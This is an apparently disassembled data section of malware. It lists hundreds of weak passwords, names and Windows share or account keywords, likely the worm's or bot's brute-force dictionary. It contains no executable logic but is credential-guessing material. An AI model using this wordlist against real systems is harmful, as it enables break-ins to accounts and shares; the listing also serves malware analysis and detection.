aConnie		db 'connie',0           ; DATA XREF: ___:0042FE58o
		align 4
aCondom		db 'condom',0           ; DATA XREF: ___:0042FE50o
		align 4
aCondo		db 'condo',0            ; DATA XREF: ___:0042FE4Co
		align 4
aComrades	db 'comrades',0         ; DATA XREF: ___:0042FE48o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: ___:0042FE44o
aComputin	db 'computin',0         ; DATA XREF: ___:0042FE40o
		align 4
aCompany	db 'company',0          ; DATA XREF: ___:0042FE3Co
aCommrade	db 'commrade',0         ; DATA XREF: ___:0042FE38o
		align 4
aCommit		db 'commit',0           ; DATA XREF: ___:0042FE34o
		align 10h
aComics		db 'comics',0           ; DATA XREF: ___:0042FE30o
		align 4
aCombat		db 'combat',0           ; DATA XREF: ___:0042FE2Co
		align 10h
aColor		db 'color',0            ; DATA XREF: ___:0042FE28o
		align 4
aCollins	db 'collins',0          ; DATA XREF: ___:0042FE24o
aCold		db 'cold',0             ; DATA XREF: ___:0042FE20o
		align 4
aCola		db 'cola',0             ; DATA XREF: ___:0042FE1Co
		align 10h
aCoke		db 'coke',0             ; DATA XREF: ___:0042FE18o
		align 4
aCoin		db 'coin',0             ; DATA XREF: ___:0042FE14o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: ___:0042FE10o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: ___:0042FE0Co
		align 4
aCodename	db 'codename',0         ; DATA XREF: ___:0042FE08o
		align 10h
aCode		db 'code',0             ; DATA XREF: ___:0042FE04o
		align 4
aCock		db 'cock',0             ; DATA XREF: ___:0042FE00o
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: ___:0042FDFCo
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: ___:0042FDF8o
		align 4
aCoast		db 'coast',0            ; DATA XREF: ___:0042FDF4o
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: ___:0042FDF0o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: ___:0042FDECo
aClinton	db 'clinton',0          ; DATA XREF: ___:0042FDE8o
aCleavage	db 'cleavage',0         ; DATA XREF: ___:0042FDE4o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: ___:0042FDE0o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: ___:0042FDDCo
aClassic	db 'classic',0          ; DATA XREF: ___:0042FDD8o
aClasses	db 'classes',0          ; DATA XREF: ___:0042FDD4o
aClass		db 'class',0            ; DATA XREF: ___:0042FDD0o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: ___:0042FDCCo
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: ___:0042FDC8o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: ___:0042FDC4o
		align 10h
aChristy	db 'christy',0          ; DATA XREF: ___:0042FDC0o
aChristin	db 'christin',0         ; DATA XREF: ___:0042FDBCo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:0042FDB8o
		align 4
aChip		db 'chip',0             ; DATA XREF: ___:0042FDB4o
		align 4
aChester	db 'chester',0          ; DATA XREF: ___:0042FDB0o
aChess		db 'chess',0            ; DATA XREF: ___:0042FDACo
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: ___:0042FDA8o
		align 10h
aChem		db 'chem',0             ; DATA XREF: ___:0042FDA4o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: ___:0042FDA0o
		align 10h
aCharon		db 'charon',0           ; DATA XREF: ___:0042FD9Co
		align 4
aCharming	db 'charming',0         ; DATA XREF: ___:0042FD98o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: ___:0042FD94o
aCharles	db 'charles',0          ; DATA XREF: ___:0042FD90o
aCharity	db 'charity',0          ; DATA XREF: ___:0042FD8Co
aChange		db 'change',0           ; DATA XREF: ___:0042FD88o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: ___:0042FD84o
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: ___:0042FD80o
aCeltic		db 'celtic',0           ; DATA XREF: ___:0042FD7Co
		align 10h
aCelt		db 'celt',0             ; DATA XREF: ___:0042FD78o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: ___:0042FD74o
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: ___:0042FD70o
		align 4
aCave		db 'cave',0             ; DATA XREF: ___:0042FD6Co
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: ___:0042FD68o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: ___:0042FD64o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: ___:0042FD60o
		align 10h
aCastle		db 'castle',0           ; DATA XREF: ___:0042FD5Co
		align 4
aCash		db 'cash',0             ; DATA XREF: ___:0042FD58o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: ___:0042FD54o
		align 4
aCarson		db 'carson',0           ; DATA XREF: ___:0042FD50o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: ___:0042FD4Co
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: ___:0042FD48o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: ___:0042FD44o
		align 4
aCarole		db 'carole',0           ; DATA XREF: ___:0042FD40o
		align 4
aCarol		db 'carol',0            ; DATA XREF: ___:0042FD3Co
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: ___:0042FD38o
		align 4
aCarla		db 'carla',0            ; DATA XREF: ___:0042FD34o
		align 4
aCaren		db 'caren',0            ; DATA XREF: ___:0042FD30o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: ___:0042FD2Co
		align 4
aCard		db 'card',0             ; DATA XREF: ___:0042FD28o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: ___:0042FD24o
aCaptain	db 'captain',0          ; DATA XREF: ___:0042FD20o
aCantor		db 'cantor',0           ; DATA XREF: ___:0042FD1Co
		align 4
aCandy		db 'candy',0            ; DATA XREF: ___:0042FD18o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: ___:0042FD14o
		align 4
aCamping	db 'camping',0          ; DATA XREF: ___:0042FD10o
aCampanil	db 'campanil',0         ; DATA XREF: ___:0042FD0Co
		align 4
aCamille	db 'camille',0          ; DATA XREF: ___:0042FD08o
aCaliforn	db 'californ',0         ; DATA XREF: ___:0042FD04o
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: ___:0042FD00o
		align 4
aButt		db 'butt',0             ; DATA XREF: ___:0042FCFCo
		align 4
aButch		db 'butch',0            ; DATA XREF: ___:0042FCF8o
		align 4
aBurn		db 'burn',0             ; DATA XREF: ___:0042FCF4o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: ___:0042FCF0o
aBung		db 'bung',0             ; DATA XREF: ___:0042FCECo
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: ___:0042FCE8o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: ___:0042FCE4o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: ___:0042FCE0o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: ___:0042FCDCo
		align 10h
aBrute		db 'brute',0            ; DATA XREF: ___:0042FCD8o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: ___:0042FCD4o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: ___:0042FCD0o
aBroadway	db 'broadway',0         ; DATA XREF: ___:0042FCCCo
		align 4
aBridget	db 'bridget',0          ; DATA XREF: ___:0042FCC8o
aBrian		db 'brian',0            ; DATA XREF: ___:0042FCC4o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: ___:0042FCC0o
		align 10h
aBreast		db 'breast',0           ; DATA XREF: ___:0042FCBCo
		align 4
aBreak		db 'break',0            ; DATA XREF: ___:0042FCB8o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: ___:0042FCB4o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: ___:0042FCB0o
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: ___:0042FCACo
		align 4
aBradley	db 'bradley',0          ; DATA XREF: ___:0042FCA8o
aBoyscout	db 'boyscout',0         ; DATA XREF: ___:0042FCA4o
		align 4
aBorn		db 'born',0             ; DATA XREF: ___:0042FCA0o
		align 4
aBook		db 'book',0             ; DATA XREF: ___:0042FC9Co
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: ___:0042FC98o
		align 4
aBoob		db 'boob',0             ; DATA XREF: ___:0042FC94o
		align 4
aBoner		db 'boner',0            ; DATA XREF: ___:0042FC90o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: ___:0042FC8Co
		align 4
aBoard		db 'board',0            ; DATA XREF: ___:0042FC88o
		align 4
aBlues		db 'blues',0            ; DATA XREF: ___:0042FC84o
		align 4
aBlue		db 'blue',0             ; DATA XREF: ___:0042FC80o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: ___:0042FC7Co
aBlow		db 'blow',0             ; DATA XREF: ___:0042FC78o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: ___:0042FC74o
		align 10h
aBlood		db 'blood',0            ; DATA XREF: ___:0042FC70o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: ___:0042FC6Co
aBlonde		db 'blonde',0           ; DATA XREF: ___:0042FC68o
		align 4
aBlack		db 'black',0            ; DATA XREF: ___:0042FC64o
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: ___:0042FC60o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: ___:0042FC5Co
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:0042FC58o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: ___:0042FC54o
		align 10h
aBird		db 'bird',0             ; DATA XREF: ___:0042FC50o
		align 4
aBios		db 'bios',0             ; DATA XREF: ___:0042FC4Co
		align 10h
aBinary		db 'binary',0           ; DATA XREF: ___:0042FC48o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:0042FC44o
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: ___:0042FC40o
aBicamera	db 'bicamera',0         ; DATA XREF: ___:0042FC3Co
		align 4
aBible		db 'bible',0            ; DATA XREF: ___:0042FC38o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: ___:0042FC34o
aBetty		db 'betty',0            ; DATA XREF: ___:0042FC30o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: ___:0042FC2Co
		align 4
aBeth		db 'beth',0             ; DATA XREF: ___:0042FC28o
		align 4
aBeta		db 'beta',0             ; DATA XREF: ___:0042FC24o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: ___:0042FC20o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: ___:0042FC1Co
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: ___:0042FC18o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: ___:0042FC14o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: ___:0042FC10o
aBenz		db 'benz',0             ; DATA XREF: ___:0042FC0Co
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: ___:0042FC08o
aBell		db 'bell',0             ; DATA XREF: ___:0042FC04o
		align 4
aBehead		db 'behead',0           ; DATA XREF: ___:0042FC00o
		align 4
aBegin		db 'begin',0            ; DATA XREF: ___:0042FBFCo
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: ___:0042FBF8o
		align 4
aBecky		db 'becky',0            ; DATA XREF: ___:0042FBF4o
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: ___:0042FBF0o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: ___:0042FBECo
		align 10h
aBeater		db 'beater',0           ; DATA XREF: ___:0042FBE8o
		align 4
aBeast		db 'beast',0            ; DATA XREF: ___:0042FBE4o
		align 10h
aBear		db 'bear',0             ; DATA XREF: ___:0042FBE0o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: ___:0042FBDCo
		align 4
aBeach		db 'beach',0            ; DATA XREF: ___:0042FBD8o
		align 4
aBatman		db 'batman',0           ; DATA XREF: ___:0042FBD4o
		align 4
aBatch		db 'batch',0            ; DATA XREF: ___:0042FBD0o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: ___:0042FBCCo
aBass		db 'bass',0             ; DATA XREF: ___:0042FBC8o
		align 4
aBasic		db 'basic',0            ; DATA XREF: ___:0042FBC4o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: ___:0042FBC0o
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: ___:0042FBBCo
aBart		db 'bart',0             ; DATA XREF: ___:0042FBB8o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: ___:0042FBB4o
		align 4
aBarf		db 'barf',0             ; DATA XREF: ___:0042FBB0o
		align 4
aBare		db 'bare',0             ; DATA XREF: ___:0042FBACo
		align 4
aBarber		db 'barber',0           ; DATA XREF: ___:0042FBA8o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: ___:0042FBA4o
aBanks		db 'banks',0            ; DATA XREF: ___:0042FBA0o
		align 4
aBank		db 'bank',0             ; DATA XREF: ___:0042FB9Co
		align 4
aBandit		db 'bandit',0           ; DATA XREF: ___:0042FB98o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: ___:0042FB94o
aBanana		db 'banana',0           ; DATA XREF: ___:0042FB90o
		align 4
aBall		db 'ball',0             ; DATA XREF: ___:0042FB8Co
		align 4
aBailey		db 'bailey',0           ; DATA XREF: ___:0042FB88o
		align 4
aBadass		db 'badass',0           ; DATA XREF: ___:0042FB84o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: ___:0042FB80o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: ___:0042FB7Co
aBaby		db 'baby',0             ; DATA XREF: ___:0042FB78o
		align 4
aBabe		db 'babe',0             ; DATA XREF: ___:0042FB74o
		align 10h
aAzure		db 'azure',0            ; DATA XREF: ___:0042FB70o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: ___:0042FB6Co
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: ___:0042FB68o
		align 4
aAttack		db 'attack',0           ; DATA XREF: ___:0042FB64o
		align 4
aAtom		db 'atom',0             ; DATA XREF: ___:0042FB60o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: ___:0042FB5Co
		align 4
aAthena		db 'athena',0           ; DATA XREF: ___:0042FB58o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: ___:0042FB54o
aAsian		db 'asian',0            ; DATA XREF: ___:0042FB50o
		align 10h
aArtist		db 'artist',0           ; DATA XREF: ___:0042FB4Co
		align 4
aArthur		db 'arthur',0           ; DATA XREF: ___:0042FB48o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: ___:0042FB44o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:0042FB40o
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: ___:0042FB3Co
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:0042FB38o
aAria		db 'aria',0             ; DATA XREF: ___:0042FB34o
		align 4
aApril		db 'april',0            ; DATA XREF: ___:0042FB30o
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: ___:0042FB2Co
		align 4
aAnything	db 'anything',0         ; DATA XREF: ___:0042FB28o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:0042FB24o
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:0042FB20o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:0042FB1Co
aAnswer		db 'answer',0           ; DATA XREF: ___:0042FB18o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:0042FB14o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:0042FB10o
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: ___:0042FB0Co
aAnne		db 'anne',0             ; DATA XREF: ___:0042FB08o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: ___:0042FB04o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:0042FB00o
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: ___:0042FAFCo
aAnimal		db 'animal',0           ; DATA XREF: ___:0042FAF8o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: ___:0042FAF4o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:0042FAF0o
		align 4
aAngela		db 'angela',0           ; DATA XREF: ___:0042FAECo
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: ___:0042FAE8o
		align 4
aAndy		db 'andy',0             ; DATA XREF: ___:0042FAE4o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: ___:0042FAE0o
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042FADCo
aAndrea		db 'andrea',0           ; DATA XREF: ___:0042FAD8o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:0042FAD4o
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:0042FAD0o
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042FACCo
		align 4
aAnalog		db 'analog',0           ; DATA XREF: ___:0042FAC8o
		align 4
aAnal		db 'anal',0             ; DATA XREF: ___:0042FAC4o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:0042FAC0o
		align 10h
aAmerica	db 'america',0          ; DATA XREF: ___:0042FABCo
aAmber		db 'amber',0            ; DATA XREF: ___:0042FAB8o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: ___:0042FAB4o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:0042FAB0o
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042FAACo
		align 4
aAllow		db 'allow',0            ; DATA XREF: ___:0042FAA8o
		align 4
aAllison	db 'allison',0          ; DATA XREF: ___:0042FAA4o
aAlison		db 'alison',0           ; DATA XREF: ___:0042FAA0o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042FA9Co
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: ___:0042FA98o
		align 4
aAlice		db 'alice',0            ; DATA XREF: ___:0042FA94o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: ___:0042FA90o
aAlias		db 'alias',0            ; DATA XREF: ___:0042FA8Co
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: ___:0042FA88o
aAlexande	db 'alexande',0         ; DATA XREF: ___:0042FA84o
		align 10h
aAlex		db 'alex',0             ; DATA XREF: ___:0042FA80o
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042FA7Co
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: ___:0042FA78o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:0042FA74o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: ___:0042FA70o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042FA6Co
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: ___:0042FA68o
		align 10h
aAids		db 'aids',0             ; DATA XREF: ___:0042FA64o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:0042FA60o
		align 4
aAdult		db 'adult',0            ; DATA XREF: ___:0042FA5Co
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:0042FA58o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:0042FA54o
		align 10h
aAdam		db 'adam',0             ; DATA XREF: ___:0042FA50o
		align 4
aAction		db 'action',0           ; DATA XREF: ___:0042FA4Co
		align 10h
aAccount	db 'account',0          ; DATA XREF: ___:0042FA48o
aAcademic	db 'academic',0         ; DATA XREF: ___:0042FA40o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: ___:0042FA3Co
		align 10h
a000000		db '000000',0           ; DATA XREF: ___:0042FA38o
		align 4
a00000		db '00000',0            ; DATA XREF: ___:0042FA34o
		align 10h
a0000		db '0000',0             ; DATA XREF: ___:0042FA30o
		align 4
a000		db '000',0              ; DATA XREF: ___:0042FA2Co
aTesting	db 'testing',0          ; DATA XREF: ___:0042FA28o
aDeath		db 'death',0            ; DATA XREF: ___:0042FA24o
		align 4
a00		db '00',0               ; DATA XREF: ___:0042FA20o
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:0042FA18o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:0042FA14o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:0042FA10o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:0042FA0Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:0042FA08o
		align 10h
aXxxx		db 'xxxx',0             ; DATA XREF: ___:0042FA04o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: ___:0042FA00o
aXx		db 'xx',0               ; DATA XREF: ___:0042F9FCo
		align 10h
asc_434C30:				; DATA XREF: ___:0042F9F8o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:0042F9F4o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:0042F9F0o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042F9ECo
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: ___:0042F9E8o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: ___:0042F9E4o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:0042F9E0o
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042F9DCo
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: ___:0042F9D8o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:0042F9D4o
		align 4
aL337		db 'l337',0             ; DATA XREF: ___:0042F9D0o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042F9CCo
		align 4
aLeet		db 'leet',0             ; DATA XREF: ___:0042F9C8o
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:0042F9C4o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:0042F9C0o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042F9BCo
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: ___:0042F9B8o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:0042F9B4o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: ___:0042F9B0o
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042F9ACo
aSatan		db 'satan',0            ; DATA XREF: ___:0042F9A8o
		align 10h
aGobo		db 'gobo',0             ; DATA XREF: ___:0042F9A4o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: ___:0042F9A0o
aMatt		db 'Matt',0             ; DATA XREF: ___:0042F99Co
		align 4
aMat		db 'Mat',0              ; DATA XREF: ___:0042F998o
aPw		db 'pw',0               ; DATA XREF: ___:0042F994o
		align 10h
aMypass123	db 'mypass123',0        ; DATA XREF: ___:0042F990o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042F98Co
		align 4
aPw123		db 'pw123',0            ; DATA XREF: ___:0042F988o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:0042F984o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: ___:0042F980o
aMypc		db 'mypc',0             ; DATA XREF: ___:0042F97Co
		align 4
aLove		db 'love',0             ; DATA XREF: ___:0042F978o
		align 10h
aPwd		db 'pwd',0              ; DATA XREF: ___:0042F974o
aLogin		db 'login',0            ; DATA XREF: ___:0042F970o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042F96Co
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: ___:0042F968o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:0042F964o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: ___:0042F960o
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:0042F95Co
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: ___:0042F958o
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:0042F954o
		align 10h
aWin		db 'win',0              ; DATA XREF: ___:0042F950o
aTest123	db 'test123',0          ; DATA XREF: ___:0042F94Co
aAbc		db 'abc',0              ; DATA XREF: ___:0042F948o
aAaa		db 'aaa',0              ; DATA XREF: ___:0042F944o
aA_1:					; DATA XREF: ___:0042F940o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: ___:0042F93Co
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: ___:0042F938o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:0042F934o
aIrule		db 'irule',0            ; DATA XREF: ___:0042F930o
		align 4
aOwned		db 'owned',0            ; DATA XREF: ___:0042F92Co
		align 10h
a0wned		db '0wned',0            ; DATA XREF: ___:0042F928o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:0042F924o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:0042F920o
		align 10h
aDevil		db 'devil',0            ; DATA XREF: ___:0042F91Co
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: ___:0042F918o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: ___:0042F914o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:0042F910o
aSex		db 'sex',0              ; DATA XREF: ___:0042F90Co
aPat		db 'pat',0              ; DATA XREF: ___:0042F908o
aPatrick	db 'patrick',0          ; DATA XREF: ___:0042F904o
aAlpha		db 'alpha',0            ; DATA XREF: ___:0042F900o
		align 4
a007		db '007',0              ; DATA XREF: ___:0042F8FCo
a123abc		db '123abc',0           ; DATA XREF: ___:0042F8F8o
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: ___:0042F8F4o
		align 4
a123123		db '123123',0           ; DATA XREF: ___:0042F8F0o
		align 4
a121212		db '121212',0           ; DATA XREF: ___:0042F8ECo
		align 4
a111111		db '111111',0           ; DATA XREF: ___:0042F8E8o
		align 4
a110		db '110',0              ; DATA XREF: ___:0042F8E4o
a2600		db '2600',0             ; DATA XREF: ___:0042F8E0o
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:0042F8D8o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: ___:0042F8D4o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:0042F8D0o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042F8CCo
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:0042F8C8o
a123asd		db '123asd',0           ; DATA XREF: ___:0042F8C4o
		align 4
aSuper		db 'super',0            ; DATA XREF: ___:0042F8C0o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042F8BCo
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: ___:0042F8B4o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: ___:0042F8B0o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: ___:0042F8A8o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: ___:0042F8A4o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042F89Co
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: ___:0042F898o
		align 4
a88888888	db '88888888',0         ; DATA XREF: ___:0042F894o
		align 4
a11111111	db '11111111',0         ; DATA XREF: ___:0042F890o
		align 10h
a111		db '111',0              ; DATA XREF: ___:0042F88Co
a54321		db '54321',0            ; DATA XREF: ___:0042F888o
		align 4
a654321		db '654321',0           ; DATA XREF: ___:0042F884o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:0042F880o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: ___:0042F87Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:0042F878o
a123456		db '123456',0           ; DATA XREF: ___:0042F874o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:0042F870o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:0042F86Co
		align 4
a123		db '123',0              ; DATA XREF: ___:0042F868o
a12		db '12',0               ; DATA XREF: ___:0042F864o
		align 4
a1:					; DATA XREF: ___:0042F860o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:0042F85Co
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:0042F858o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042F854o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042F850o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: ___:0042F84Co
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: ___:0042F848o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: ___:0042F844o
		align 4
aServer_0	db 'SERVER',0           ; DATA XREF: ___:0042F840o
		align 10h
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:0042F83Co
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: ___:0042F838o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: ___:0042F830o
		align 4
aTest		db 'TEST',0             ; DATA XREF: ___:0042F82Co
		align 10h
aEdu		db 'edu',0              ; DATA XREF: ___:0042F828o
aOwner_1	db 'Owner',0            ; DATA XREF: ___:0042F824o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: ___:0042F820o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: ___:0042F81Co
		align 4
aFiles		db 'FILES',0            ; DATA XREF: ___:0042F818o
		align 4
aRead		db 'READ',0             ; DATA XREF: ___:0042F814o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:0042F810o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: ___:0042F80Co
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:0042F808o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: ___:0042F804o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: ___:0042F800o
		align 4
